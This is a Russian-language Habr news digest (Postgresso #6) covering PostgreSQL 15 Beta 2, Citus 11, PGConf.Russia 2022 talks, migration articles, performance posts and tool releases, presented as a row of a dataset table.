text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Postgresso #6 (43)

*ИТ-инфраструктура — это как водопровод, без неё жизнь уже почти невозможна. И мы продолжаем выпускать Postgresso.*
---
**[PostgreSQL 15 Beta 2](https://www.postgresql.org/about/news/postgresql-15-beta-2-released-2479/)**
В Beta 2 есть все возможности общедоступной (generally available) версии PostgreSQL, но некоторые детали реализации могут поменяться за время Beta-фазы. Отличия от Beta 1 перечислены на [странице релиза](https://www.postgresql.org/about/news/postgresql-15-beta-2-released-2479/) — это 14 непринципиальных изменений и исправлений.
Об отличиях PostgreSQL 15 (не Beta 2, а «готовой» версии) от PostgreSQL 14 можно почитать [здесь](https://www.postgresql.org/docs/15/release-15.html), а загрузить Beta 2 можно [отсюда](https://www.postgresql.org/download/). До версии GA остаётся ещё выпустить версию RC (release candidate).
**[Citus 11 for Postgres goes fully open source, with query from any node](https://www.citusdata.com/blog/2022/06/17/citus-11-goes-fully-open-source/)**
Объявлено, что отныне Citus (11-я версия) **открыт полностью**. В 11.0 можно запускать распределённые запросы с любого узла кластера, схема и метаданные автоматически синхронизуются. Пишущие транзакции всегда реплицируются по 2PC (с 2-фазным коммитом). Архитектура недемократичная: есть узел-координатор и несколько рабочих узлов. [Здесь](https://www.citusdata.com/blog/2022/03/26/test-drive-citus-11-beta-for-postgres/#section1) есть некоторая информация о новой версии и об отличиях 11.0 от предыдущих реализаций, но эта информация относится ещё к Beta-версии. Из текста нынешнего анонса следует, что синхронизируются и последовательности, и функции, и схемы, и другие объекты базы данных, которые не синхронизировались в 11.0 beta.
**[Introducing PostgreSQL interface for Spanner: availability at scale with the interface you know](https://cloud.google.com/blog/products/databases/postgresql-interface-for-spanner-now-ga)**
Интерфейс был анонсирован ещё в октябре прошлого года, мы об этом относительно подробно уже [писали](https://habr.com/ru/company/postgrespro/blog/580306/). Позиционируется как [spanner-with-granular-instance-sizing](https://cloud.google.com/blog/products/databases/get-more-out-of-spanner-with-granular-instance-sizing) — гранулированный Spanner, платишь за те его размеры, какие тебе нужны. Теперь можно и [попробовать](https://cloud.google.com/free/).
Конференции
-----------
**[PGConf.Russia 2022](https://pgconf.ru/2022)**
Выложены видео докладов на прошедшей 20-21-го июня конференции. Некоторые доклады мы представляли в [прошлом Постгрессо](https://habr.com/ru/company/postgrespro/blog/667350/), теперь их (и другие) можно увидеть.
А сейчас список лучших докладов по итогам общего голосования.
* 1: **[Autovacuum. Вредные советы](https://pgconf.ru/2022/315715)** (*Вадим Яценко*, CTO Tantor Labs);
* 2: **[Есть ли жизнь на Венере](https://pgconf.ru/2022/323024)** (*Владимир Сурдин*, доцент МГУ им. М.В.Ломоносова);
* 3: **[Хотите ли вы знать, чем занимался VACUUM?](https://pgconf.ru/2022/316430)** (*Андрей Зубков*, руководитель группы систем мониторинга Postgres Professional);
* 4: **[Эволюция системы от MVP до HighLoad (опыт с ОСАГО)](https://pgconf.ru/2022/314089)** (*Виктор Бушмин*, бизнес-партнер «Альфастрахования»).
Серебряный доклад [известного](https://ru.wikipedia.org/wiki/%D0%A1%D1%83%D1%80%D0%B4%D0%B8%D0%BD,_%D0%92%D0%BB%D0%B0%D0%B4%D0%B8%D0%BC%D0%B8%D1%80_%D0%93%D0%B5%D0%BE%D1%80%D0%B3%D0%B8%D0%B5%D0%B2%D0%B8%D1%87) популяризатора астрономии, Владимира Сурдина эффектно завершал конференцию:
*На поверхности Венеры адская жара — там плавятся олово и свинец. Роботы-первопроходцы погибали, исследуя Венеру. Какие тут могут быть разговоры о жизни? Оказывается — могут! Неожиданно оказалось, что объём пространства, пригодного для жизни, на Венере больше, чем на Земле. Возможно, и признаки жизни уже обнаружены. Станет ли когда-нибудь Венера второй Землёй?*
Дальше в нашем обзоре встретится ещё немало ссылок на доклады PGConf.Russia предыдущих лет.
### Postgres.FM и Postgres.TV, четверги и вторники
**[Slow queries and slow transactions](https://postgres.fm/episodes/slow-queries-and-slow-transactions)**
5-го июля *Николай Самохвалов* ([Postgres.ai](https://postgres.ai)) и *Майкл Кристофайдис* (Michael Christofides, основатель [pgMustard](https://www.pgmustard.com/)) представили свой аудио-проект **[Postgres FM](https://postgres.fm/)** (дополняющий [Postgres TV](https://www.youtube.com/channel/UCqX_FVBw4RL-DMDwZ_H86gg) Николая и *Ильи Космодемьянского*) и начинают они с обсуждения медленных запросов и транзакций: не только как ускорить их, а и о том, когда это вообще нужно, а когда можно и потерпеть.
Через неделю — 14-го июля — Николай и Майкл обсуждали **[Managed services vs. DIY](https://postgres.fm/episodes/managed-services-vs-diy)**. На странице этого обсуждения огромное число ссылок на обсуждаемые технологии и компании.
Майкл [рассказал о проекте](https://www.pgmustard.com/blog/postgres-fm-a-new-postgres-podcast) и своей любви к подкастам и на сайте pgMustard. Он говорит, что дуэт с Николаем ему интересен в том числе потому, что Николай ближе к проблемам DBA, к высоконагруженным системам, соответствующим сервисам и инструментам, а сам Майкл ближе к разработчикам и нуждам стартапов.
Встречи Postgres.TV происходят по четвергам. Видео-версия выкладывается на Postgres.TV, а аудио-версия — параллельно на Postgres.FM. Но Postgres.TV этим не исчерпывается: например, последнее видео с участием *Яна Каррманаса* (Нидерланды, EDB) — [PostgresTV guests: Jan Karremans. Postgres and Kubernetes](https://www.youtube.com/watch?v=wEIo8ero-K4), не имеет аудио-версии на Postgres.FM.
До этого Николай в соавторстве с Ильёй Космодемьянским запомнились русскоязычными [Постгрес-вторниками](https://www.youtube.com/results?search_query=%23RuPostgres) (#ruPostgres). Последние видео из этой серии было выложено 5 месяцев назад — с *Егором Роговым*: [Внутри PostgreSQL](https://www.youtube.com/watch?v=tTOQj7x0YcQ). Англоязычные четверги начинались параллельно.
Образование
-----------
**[Egor Rogov. PostgreSQL 14 Internals](https://postgrespro.com/blog/pgsql/5969631)**
Книга *Егора Рогова* ([здесь](https://postgrespro.ru/education/books/internals) о её русском оригинале) сейчас переводится на английский. Пока переведена только 1-я часть. Она [доступна](https://postgrespro.com/community/books/internals). Переводом занимается *Людмила Мантрова*. Остальные части появятся в скором времени.
**[PostgreSQL 13. Оптимизация запросов](https://postgrespro.ru/education/courses/QPT)**
Курс QPT-13 выложен на сайте postgrespro.ru. Курс двухдневный. Учебные материалы выложены, ссылки [здесь](https://postgrespro.ru/education/courses/QPT).
**[DBA1 в Элисте](https://postgrespro.ru/education/courses/DBA1)**
Выложены видео обновлённого до PostgreSQL 13 курса DBA1, прочитанного в Элисте сотрудниками отдела образования Postgres Professional в этом году. Курс длился 3 дня, сейчас выложены 2 из них, 3-й день выложат скоро.
Миграции и «чужие» данные
-------------------------
**[Перенос данных с Oracle на PostgreSQL: основные этапы, несовпадающие типы и форматы данных](https://habr.com/ru/company/postgrespro/blog/676792/)**
Статья *Петра Петрова* (Postgres professional), открывает **серию из 4 статей о миграции**. Очень рекомендуем, Пётр пишет основательно, используя свой немалый опыт. В первой статье есть, в том числе, большой набор ссылок на доклады по миграции, прозвучавшие на [PGConf.Russia](https://pgconf.ru/) разных лет. Вот полдюжины из этого списка:* [Как я перестал беспокоиться и перенес 60K строк из 150 процедур PL/SQL в Postgres](https://pgconf.ru/2020/274661) (*Анатолий Анфиногенов*, АО «ВНИИЖТ») и его же
* [Миграция приложения Oracle PL/SQL на Postgres pl/pgSQL: взгляд два года спустя](https://pgconf.ru/202110/308499);
* [Особенности миграции инженерного ПО с Oracle на PostgreSQL](https://pgconf.ru/2020/278050) (*Дмитрий Гребенщиков*, ООО «Диасофт»);
* [Миграция с Oracle на PostgreSQL с использованием автоматического конвертера](https://pgconf.ru/2020/271655) (*Александр Кварацхелия*, БАРС Груп);
* [Прислоняться разрешается. Как мы подружили MSSQL, Postgres, написали свою «репликацию» и переводим на Postgres одну из самых больших МИС в России](https://pgconf.ru/2020/271697) (*Тарас Чикин*, ООО «РТ МИС»);
* [Из Oracle в Postgres по российским рельсам. Неочевидные нюансы](https://pgconf.ru/202110/309514) (*Никита Левченко*, ПАО «Ростелеком»);
* [Особенности миграции ECM платформы на PostgreSQL](https://pgconf.ru/202110/309467) (*Никита Дрей*, OT-OIL)
**[Handle empty strings when migrating from Oracle to PostgreSQL](https://aws.amazon.com/ru/blogs/database/handle-empty-strings-when-migrating-from-oracle-to-postgresql/)**
Это одна из важных тем при обсуждении миграции Oracle -> Postgres: пустые строки и NULL. Авторы — *Шашиканта Паттаньяк* и *Дипак Махто* (Sashikanta Pattanayak и Deepak Mahto) — не только констатируют это несоответствие, но и напоминают о существовании некоторых не слишком часто встречающихся возможностей PostgreSQL. Например, о выражении [NULLIF](https://postgrespro.ru/docs/postgresql/14/functions-conditional) (его авторы почему-то называет функцией — бог им судья, а тема важная).
Показано, как имитировать оракловую [NVL](https://docs.oracle.com/en/database/oracle/oracle-database/18/sqlrf/NVL.html) постгресовой [COALESCE](https://postgrespro.ru/docs/postgresql/14/functions-conditional#FUNCTIONS-COALESCE-NVL-IFNULL), как вместо оракловой [DECODE](https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/DECODE.html) использовать постгресовые конструкции с CASE. Но можно использовать и расширение [Orafce](https://github.com/orafce/orafce?ysclid=l5o9kaivbf508879919), предназначенный именно для миграции, где есть свои NVL и Decode.
Статья не то чтобы глубока и основательна, зато есть полезные ссылки, например:
[Migration Playbook. Oracle Database 19c To Amazon Aurora with PostgreSQL Compatibility (12.4)](https://d1.awsstatic.com/whitepapers/Migration/oracle-database-amazon-aurora-postgresql-migration-playbook-12.4.pdf) — PDF 400-страничного пособия по миграции в тех случаях, когда автоматическая миграция с [AWS Schema Conversion Tool](https://docs.aws.amazon.com/SchemaConversionTool/latest/userguide/CHAP_Welcome.html) не поможет.
Кстати, на тему NULL был интереснейший доклад *Алексей Борщева* (Postgres Professional) на PGConf.Russia 2022: **[NULLs в Postgres](https://pgconf.ru/2022/316638)**. Много интересных примеров логичного, но контринтуитивного поведения этих самых NULL. В Postgres NULL не равен NULL, например. Но (в PostgreSQL 15) можно настроить так, что будет равен.
Есть статья по поводу изменений (улучшений) в работе с NULL в PostgreSQL 15:
**[Postgres 15 improves UNIQUE and NULL](https://blog.rustprooflabs.com/2022/07/postgres-15-unique-improvement-with-null)**
*Райан Лэмберт* (Ryan Lambert, владелец и CEO RustProof Labs) скачал и исследует PostgreSQL 15 Beta 2. Его заинтересовало изменение **UNIQUE null treatment option**, давно [обсуждавшееся](https://postgrespro.ru/list/thread-id/2566454?ysclid=l5tzphoaki755907712) почти год:
*разрешить уникальным ограничениям и индексам считать NULL одним и тем же значением. Раньше NULL всегда индексировались как разные (различимые) величины, теперь можно это изменить, создавая UNIQUE-ограничения и уникальные индексы с предложением **NULLS NOT DISTINCT***. Райан проверяет, показывает как это работает в новейшей версии PostgreSQL.
**[Handling Trailing Zeros With Numeric Datatype in PostgreSQL](https://www.migops.com/blog/handling-trailing-zeros-with-numeric-datatype-in-postgresql/)**
Автор, *Джагадиш Пануганти* (Jagadeesh Panuganti, MigOps) рассматривает тип NUMBER (Oracle) vs. NUMERIC (PostgreSQL), их поведение и предлагает способы обойти проблемы с ненужными нулями в хвосте числа. Проблема (не такая уж драматическая, кажется) решается по-разному в PostgreSQL до 12-й версии включительно и начиная с 13-й, где появляется функция `trim_scale()`.
**[Oracle vs PostgreSQL – Transaction control statements](https://www.migops.com/blog/oracle-vs-postgresql-transaction-control-statements/)**
Коротенькая, но любопытная статья. *Ахил Банаппагари* (Akhil Reddy Banappagari, MigOps) обещает, что дочитав статью, вы обретёте ясность по поводу разного поведения PL/SQL и PL/pgSQL. Начинает с BEGIN (и END). Проверяет, что делают в Oracle и PostgreSQL COMMIT и ROLLBACK, смотрят на (совсем разную) работу блоков исключений.
**[Changing Tires at 100mph: A Guide to Zero Downtime Migrations](https://kiranrao.ca/2022/05/04/zero-downtime-migrations.html)**
Статья *Кирана Рао* (Kiran Rao, независимый канадский разработчик в Сан-Франциско) начинается со спойлера: как шаг за шагом проводить миграцию? А вот так.1. Создайте пустую таблицу.
2. Пишите и в старую, и в новую.
3. По кусочкам копируйте данные из старой в новую.
4. Проверяйте консистентность.
5. Переключите читающие запросы на новую.
6. Не пишите в старую.
7. Сотрите старую.
Но читать дальше имеет смысл: там рассказывается о таких вещах, как расширение [uuid-ossp](https://postgrespro.ru/docs/postgresql/14/uuid-ossp), интересная ссылка на [безопасные/опасные массовые операции](https://leopard.in.ua/2016/09/20/safe-and-unsafe-operations-postgresql#.YtZ6DzfP2Uk), много кусочков кода.
**[How to Join MySQL and Postgres in a Live Materialized View](https://www.freecodecamp.org/news/how-to-join-mysql-and-postgres-in-a-live-materialized-view/)**
*Бобби Илиев* (Bobby Iliev, Materialize) пишет: *когда ты работаешь над проектом, в котором полно микросервисов, ты, скорее всего, используешь много разных баз данных* [в смысле СУБД]. *Обычно, когда происходит JOIN двух разных СУБД, нужно создавать новый микросервис, в котором это будет происходить, но это усложняет систему.*
Для упрощения и создана — с участием Бобби — база [Materialize](https://materialize.com/). Это потоковая база, написанная на Rust, которая работает с результатами SQL-запроса (с материализованным представлением) в памяти, при этом отслеживая меняющиеся данные. Эта статья — урок, где используется Materialize для JOIN данных из MySQL и Postgres в *материализованном представлении реального времени* (**live materialized view**). В этом случае можно делать запрос непосредственно к этому представлению и, таким образом, получать результаты сразу из двух СУБД в реальном времени, используя стандартный SQL.
**[OnlineMigrations](https://github.com/fatkodima/online_migrations)**
Инструмент в помощь мигрирующим, на Ruby. Обнаруживает в коде небезопасные операции миграции, не даёт запускать их по умолчанию, подсказывает, как сделать безопасно то, что пользователь собирается сделать.
Авторы (команда [fatkodima](https://github.com/fatkodima)) сравнивает online\_migrations с **[strong\_migrations](https://github.com/ankane/strong_migrations)**, разработанной GitLab: online\_migrations это суперсет strong\_migrations, с многими фичами и некоторыми API. Главные отличия в том, что *strong\_migrations* даёт рекомендации в текстовом виде, а вы уж там дальше как-нибудь сами, в то время, как *online\_migrations* помогает генерить код. Помогает в:* переименовании таблиц/столбцов;
* изменении типа столбцов (в том числе в замене PRIMARY/FOREIGN KEYS с integer на bigint);
* добавлении столбцов с дефолтными значениями;
* дозаполнении недостающих данных (backfilling data);
* добавлении различных типов ограничений.
В *online\_migrations* есть среда для запуска миграции данных для очень больших таблиц, используя [background migrations](https://github.com/fatkodima/online_migrations/blob/master/BACKGROUND_MIGRATIONS.md) тех же авторов.
**[node-pg-migrate 6.2.2](https://github.com/salsita/node-pg-migrate)**
Средство миграции для PostgreSQL (но можно использовать и для совместимых с ним, например [CockroachDB](https://www.cockroachlabs.com/)). Построено на [Node.js](https://ru.wikipedia.org/wiki/Node.js). Начинал проект *Тэо Эфраим* (Theo Ephraim), теперь поддерживается чешской компанией [Salsita Software](https://www.salsitasoft.com/). В [версии 6.2.2](https://github.com/salsita/node-pg-migrate/releases/tag/v6.2.2) есть обратно-несовместимые изменения. История проекта довольно долгая, поэтому информацию о совместимости многочисленных версий лучше отслеживать.
**[PGSpider](https://github.com/pgspider/pgspider_ext)**
PGSpider (на самом деле pgspider\_ext) это расширение для создания кластерных движков, работающих с распределёнными данными. pgspider\_ext соединяется с некоторым количеством источников данных через [Foreign Data Wrapper](https://postgrespro.ru/docs/postgresql/14/fdwhandler)(FDW). Ориентирован на работу с Big Data и IoT.
PGSpider работает с декларативным секционированием (партицированием). Даже если у таблицы с исходными данными нет ключа секционирования, PGSpider создаст его сам. Умеет объединять данные из разных источников с похожими схемами в одну виртуальную таблицу.
Через FDW PGSpider умеет соединяться с:* PostgreSQL (postgres\_fdw);
* MySQL (mysql\_fdw);
* DynamoDB (dynamodb\_fdw);
* GridDB (griddb\_fdw);
* JDBC (jdbc\_fdw);
* ODBC (odbc\_fdw);
* SQLite (sqlite\_fdw);
* MongoDB (mongo\_fdw);
* InfluxDB (influxdb\_fdw);
* Parquet S3 (parquet\_s3\_fdw).
PGSpider разрабатывают и поддерживают в Toshiba Corporation Corporate Software Engineering & Technology Center.
Классика
--------
**[Database from the 1980s needs time travel says author](https://www.theregister.com/2022/06/14/database_from_the_1980s_needs/)**
ИТ-журналист с 32-летним стажем, *Линдзи Кларк* (Lindsay Clark), не то, чтобы излагает историю идей, овладевавшими классиком — ***Майклом Стоунбрейкером*** (Michael Stonebraker), не то, чтобы анализирует, обобщает. Он делает этакий коллаж из цитат классика. Они касаются не только *путешествий во времени*, но и вертикального хранения и многого другого.
Там же можно найти ссылки на любопытные материалы того же автора. Он, например, в **[We have bigger targets than beating Oracle, say open source DB pioneers](https://www.theregister.com/2022/05/25/oracle_rivalry_no_longer_the/)** обильно цитирует и *Петра Зайцева* — одного из первых разработчиков MySQL (и основателя Percona, конечно).
Производительность
------------------
**[Column Order In PostgreSQL Does Matter](https://www.cybertec-postgresql.com/en/column-order-in-postgresql-does-matter/)**
*Ханс-Юрген Шёниг* (Hans-Jürgen Schönig, Сybertec) затрагивает интересную тему внутри более широкой: как влияют на производительность вещи, которые на первый взгляд не должны бы влиять? Как работает оптимизатор в непростых для него условиях? Ханс-Юрген создаёт табличку шириной в 1500 столбцов и убеждается, что count по 1000-ному столбцу происходит в 20 раз медленней, чем по 1-му, и в 10, чем по 100-му.
Напомним о статье нашего коллеги *Павла Толмачёва* **[Как работает оптимизатор PostgreSQL при большом количестве таблиц в запросе](https://habr.com/ru/company/postgrespro/blog/662021/)**. Он исследует JOIN большого числа таблиц, и убеждается: то, как записан запрос, имеет ещё какое значение, если число таблиц велико. В отличие от Ханса-Юргена, Павел подробно останавливается на работе оптимизитора при разных формах записи запроса и разных параметрах, влияющих на его работу.
**[Postgres and the curious case of the cursory cursors](https://dev.to/yugabyte/postgres-and-the-curious-case-of-the-cursory-cursors-3l3h)**
*Фритс Хоогланд* (Frits Hoogland, Yugabyte) разбирает такой случай: один и тот же SQL-запрос (никаких переменных в нём) исполняется то 133мс, то 750мс. Но только исполняется он по-разному: один раз как обычных SQL, а другой раз внутри PL/pgSQL-процедуры, использующей
[refcursor](https://postgrespro.ru/docs/postgresql/14/plpgsql-cursors). Планы, соответственно, разные.
**[Working With Large PostgreSQL Databases](https://www.percona.com/blog/working-with-large-postgresql-databases/)**
В блоге Percona Робер Бернье (Robert Bernier) говорит о технических ограничениях размеров баз PostgreSQL, который гибкий, но не резиновый (наблюдал и я, как реальные клиенты в реальной жизни упираются в 32ТБ для таблицы). Робер формулирует свои критерии (не)большой базы:* небольшие базы обычно администрируются одним человеком;
* ими можно управлять вручную;
* они требуют минимальной настройки;
* небольшие базы обычно более толерантны к неэффективности, чем большие;
* большими базами управляют при помощи автоматизированных утилит;
* их надо постоянно мониторить, должны быть циклы настройки;
* большие базы требуют быстрой реакции на возникающие и текущие проблемы;
* большие базы чувствительны к накоплению технических проблем (к [техническим долгам](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%85%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B4%D0%BE%D0%BB%D0%B3));
У этого автора немало интересных статей. Вот о postgreSQL 15: **[Introducing PostgreSQL 15: Working with DISTINCT](https://www.percona.com/blog/introducing-postgresql-15-working-with-distinct/)**
SELECT DISTINCT — базовая и важнейшая функциональность. Но принципиально изменилось не поведение (о UNIQUE NULLS NOT DISTINCT см. выше), а исполнение: теперь это распараллеливается. Робер показывает, как меняется план и как растёт производительность при подключении параллельных процессов.
Есть у Робера и статья на тему борьбы с [wraparound](https://postgrespro.ru/docs/postgresql/14/routine-vacuuming#VACUUM-FOR-WRAPAROUND) (кстати, ну когда же, наконец, в PostgreSQL появятся [64-разрядные счётчики транзакций](https://postgrespro.ru/list/thread-id/2583107?ysclid=l5ogbzrb3o662086265)?): **[Overcoming VACUUM WRAPAROUND](https://www.percona.com/blog/overcoming-vacuum-wraparound/)**. В статье есть, например, список 5 причин wraparound, и не все они вполне очевидны (а некоторые, может, даже сомнительны). Есть и список тех действий, которые надо срочно предпринять, когда wraparound приблизился на опасное расстояние.
**[Debugging Deadlocks In PostgreSQL](https://www.cybertec-postgresql.com/en/debugging-deadlocks-in-postgresql/)**
Статья *Лоренца Альбе* (Laurenz Albe, Cybertec) о взаимоблокировках (так обычно переводят deadlocks). Сначала он создаёт её, потом показывает, как она отобразилась в логе, потом говорит о техниках отслеживания:* логирование на стороне приложения;
* логирование на стороне базы, префиксы;
* увеличение [deadlock\_timeout](https://postgrespro.ru/docs/postgresql/14/runtime-config-locks)
Увеличив таймаут, можно увидеть `client_addr` и `client_port` через представление [pg\_stat\_activity](https://postgrespro.ru/docs/postgresql/14/monitoring-stats#MONITORING-PG-STAT-ACTIVITY-VIEW). Опять же, копающим глубже рекомендуем [Блокировки в PostgreSQL: 3. Блокировки других объектов](https://habr.com/ru/company/postgrespro/blog/465263/).
ZFS
---
И возвращаясь к Роберу: он говорит о логической репликации, о катастрофоустойчивости, о том, что стоит подумать о [Copy-On-Write](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D1%80%D0%B8_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D0%B8), [Btrfs](https://en.wikipedia.org/wiki/Btrfs), [ZFS](https://ru.wikipedia.org/wiki/ZFS). Последнее, как ясно из 95 комментариев к статье **[Битвы на территории ZFS](https://habr.com/ru/company/postgrespro/blog/588180/)**, тема очень актуальная. И, если вы сами задумывались или уже используете ZFS, вам чтение этой статьи точно не помешает.
**[ZFS 101—Understanding ZFS storage and performance](https://arstechnica.com/information-technology/2020/05/zfs-101-understanding-zfs-storage-and-performance/)**
*Джим Солтер* (Jim Salter, Ars Technica) пишет: *ZFS объединяет традиционную систему управления томами и слоями файловой системы и транзакционный механизм copy-on-write ([CoW](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D1%80%D0%B8_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D0%B8)), следовательно, структурно эта система сильно отличается от традиционных файловых систем и от RAID-массивов*.
Этот механизм он поясняет очень наглядными динамическими картинками). Начинает с «главных кирпичиков»:
`zpools, vdevs` и `devices.`
Дальше он поясняет что такое слой «кирпичей» повыше:
`datasets, blocks` и `sectors.`
**[PostgreSQL + ZFS. Best Practices and Standard Procedures](https://people.freebsd.org/~seanc/postgresql/scale15x-2017-postgresql_zfs_best_practices.pdf)**
В презентации *Шона Читтендена* (Sean Chittenden) 110 слайдов — презентация не самый мой любимый образовательный жанр, но просмотр отнюдь не бесполезен.
Ещё статьи
----------
Вспомним здесь Робера и ещё по одному поводу: если кого-то заинтересовала тема, поднятая *Лоренцом Альбе* **[Pipeline Mode For Better PostgreSQL Performance On Slow Networks](https://www.cybertec-postgresql.com/en/pipeline-mode-better-performance-on-slow-network/)**, которой мы коснулись в [предыдущем выпуске](https://habr.com/ru/company/postgrespro/blog/667350/), то можно заглянуть и в статью Робера **[How PostgreSQL Pipeline Mode Works](https://www.percona.com/blog/how-postgresql-pipeline-mode-works/)**.
**[Fuzzy Name Matching in Postgres](https://www.crunchydata.com/blog/fuzzy-name-matching-in-postgresql)**
*Пол Рэмзи* (Paul Ramsey, Crunchy Data) генерит 50 тыс. имён при помощи полезной штуки — **[Fake Name Generator](https://www.fakenamegenerator.com/)**, загружает при помощи COPY в PostgreSQL и начинает искать имена, начиная с использования [LIKE](https://postgrespro.ru/docs/postgresql/14/functions-matching#FUNCTIONS-LIKE). Ускоряет поиск индексом. Потом рассказывает о [расстоянии Левенштейна](https://postgrespro.ru/docs/postgresql/14/fuzzystrmatch#id-1.11.7.24.7) и расширении [fuzzystrmatch](https://postgrespro.ru/docs/postgresql/14/fuzzystrmatch), работающим с ним и с алгоритмом [soundex](https://postgrespro.ru/docs/postgresql/14/fuzzystrmatch#id-1.11.7.24.6). Рассказывает, как soundex и расстояния Левенштейна использовать вместе, и что можно ускорить индексами. О таких вещах как триграммы и расширение [pg\_trgm](https://postgrespro.ru/docs/postgresql/14/pgtrgm) в этой статье почему-то не говорится.
**[Postgres Indexes, Selectivity, and Statistics](https://www.crunchydata.com/blog/indexes-selectivity-and-statistics)**
Ещё одна статья Пола Рэмзи, скорее в жанре *Indexes, Selectivity, and Statistics for Dummies*: в ней красивые наглядные картинки и по абзацу на понятия, о расширенной статистике вообще не рассказано, только [ссылка](https://www.postgresql.org/docs/current/sql-createstatistics.html). В этом скромном качестве статья может оказаться кому-то полезна. Там есть и несколько фраз о более продвинутой пространственной статистике в PostGIS.
И, конечно, если вас интересуют эти вопросы на более глубоком уровне, почитайте *Егора Рогова* [Запросы в PostgreSQL: 2. Статистика](https://habr.com/ru/company/postgrespro/blog/576100/?ysclid=l5axqberup994822922).
**[Using Postgres Schemas](https://aaronoellis.com/articles/using-postgres-schemas)**
Небольшая статья *Аарона Эллиса* (Aaron O. Ellis) с примерами использования при работе со схемами полного пути, CREATE SCHEMA, CREATE USER, CREATE ROLE, GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA… TO… и других возможностей PostgreSQL.
**[UUIDs to prevent Enumeration Attacks](https://sqlfordevs.io/uuid-prevent-enumeration-attack)**
Речь идёт об атаках, использующих URL в попытке угадать сгенерённые автоинкрементом id. В этом смысле MySQL и PostgreSQL надо защищать генераторами случайных id, и работать это в MySQL и PostgreSQL будет по-разному.
**[2 + 2 \* 4 = 16?](https://andreas.scherbaum.la/blog/archives/1118-2-+-2-4-16.html)**
Статья с таким странным названием появилась в блоге **[ads' corner](https://andreas.scherbaum.la/blog/)** *Андреаса Шербаума* (Andreas Scherbaum, Adjust, Берлин). Речь на самом деле о перегружаемых операторах. "+" может быть совсем и не сложением, а чем угодно, хотя бы и умножением, если кто-то захочет кастомизировать плюс под свои нужды.
Заметим, что компания Adjust GMBH, ориентированная на разработку мобильных приложений, плотно занимается PostgreSQL. Председатель совета директоров — *Андрей Казаков*, сооснователь Acquired.io. В компании работают знакомые PostgreSQL-разработчики.
Из песочницы
------------
**[Как продавать шкуры и ловить троллей в Telegram с помощью Kafka, Kubernetes, PostgreSQL и Redis](https://habr.com/ru/post/675792/)**
Да, эта статья из Песочницы хабра. Автор занимается развлекательным самообразованием, предлагая читателям последовать за ним. Здесь и об играх, и телеграм-бот собирается, и Kafka, и другое, перечисленное в названии статьи.
По части PostgreSQL: *очень помог на этапе создания квестового движка. Я активно использую индексы с условием и функциональные констрейнты. Также, очень помогла и сократила размер кода такая конструкция в запросах как INSERT… ON CONFLICT DO.*
Предположим (детали обещаны, но пока неизвестны), что [MERGE](https://www.postgresql.org/docs/15/sql-merge.html) версии PostgreSQL 15 пригодился бы вместо этого INSERT… ON CONFLICT DO.
Облака
------
**[VK Cloud Solutions: Patch Management](https://mcs.mail.ru/app/services/databases)**
Новый сервис Patch Management позволяет управлять обновлениями версий БД. Сейчас он доступен для PostgreSQL. Когда на платформе выходит обновление БД, появляется уведомление, и для повышения версии достаточно выбрать инстанс или кластер, нажать «Повысить» и выбрать номер версии. Система автоматически обновит БД за 1–10 минут. Так можно перейти только на следующую мажорную версию — перескочить с PostgreSQL 11 на PostgreSQL 13 нельзя. Помимо ручного обновления, можно отправить API-запрос, чтобы отследить доступные версии и запросить повышение. Предлагается [войти и попробовать](https://mcs.mail.ru/app/services/databases).
Релизы
------
**[Barman 3.0.0](https://github.com/EnterpriseDB/barman/releases/tag/release%2F3.0.0)**
Есть серьёзные изменения, нарушающие совместимость с предыдущими версиями:* PostgreSQL 9.6 больше не поддерживается;
* режим Rsync-бэкапов по умолчанию теперь `concurrent`, а не `exclusive` (который уже вообще не используется)
* в метаданных бэкапа, которые хранятся в файле `backup.info`, появилось новое поле, из-за чего более ранние версии Barman не смогут работать с бэкапами, полученными при помощи 3.0.0. Кроме того, пользователям `pg-backup-api` надо будет проапгрейдить его до версии 0.2.0.
Появилась поддержка PostgreSQL 15. Есть и другие существенные изменения.
**[check\_pgactivity 2.6](https://github.com/OPMDG/check_pgactivity)**
check\_pgactivity — это PostgreSQL-плагин для агента мониторинга [Nagios](https://www.nagios.org/). Документация [здесь](https://opm.readthedocs.io/probes/check_pgactivity.html). [Новая версия](https://github.com/OPMDG/check_pgactivity/releases/tag/REL2_6) совместима с PostgreSQL 14. В основном исправления багов.
**[Magic 14.0.5](https://github.com/polterguy/magic)**
Создатели предлагают нам обернуть свою базу (будь то PostgreSQL, MySQL или MS SQL) в свой код так, что редактировать код можно хоть с телефона. Ещё предлагают быстро создать своё облако — Aista Magic Cloud. Названо в честь разработчика — [Aista](https://aista.com/).
Последняя версия — [14.0.5](https://github.com/polterguy/magic/releases/tag/v14.0.5). Загрузить можно [отсюда](https://aista.com/).
**[PGLoader 3.6.6](https://github.com/dimitri/pgloader)**
Утилита *Димитри Фонтейна* (Dimitri Fontaine, Citus, Microsoft). Загружает данные в PostgreSQL командой COPY. В отличие от обычного копирования через FDW, здесь это происходит в транзакционном стиле: создаётся и хранится отдельный файл отвергнутых данных, а попытки копирования продолжаются.
PGLoader умеет трансформировать данные, например, MySQL `datestamp` 0000-00-00 и 0000-00-00 00:00:00 он преобразует в NULL для PostgreSQL, так как в календаре не бывает года номер 0.
Последняя версия — [3.6.6](https://github.com/dimitri/pgloader/releases/tag/v3.6.6), в ней только исправления.
**[gcopydb](https://github.com/dimitri/pgcopydb)**
Ещё одно детище Фонтейна: pgcopydb — автоматизирует запуск `pg_dump | pg_restore` между двумя действующими Postgres-серверами. И делает это эффективно. Почему — читайте на [гитхабе проекта](https://github.com/dimitri/pgcopydb).
--- | https://habr.com/ru/post/675116/ | null | ru | null |
# Получил 1.2K звезд на GitHub с ужасной архитектурой. Как?
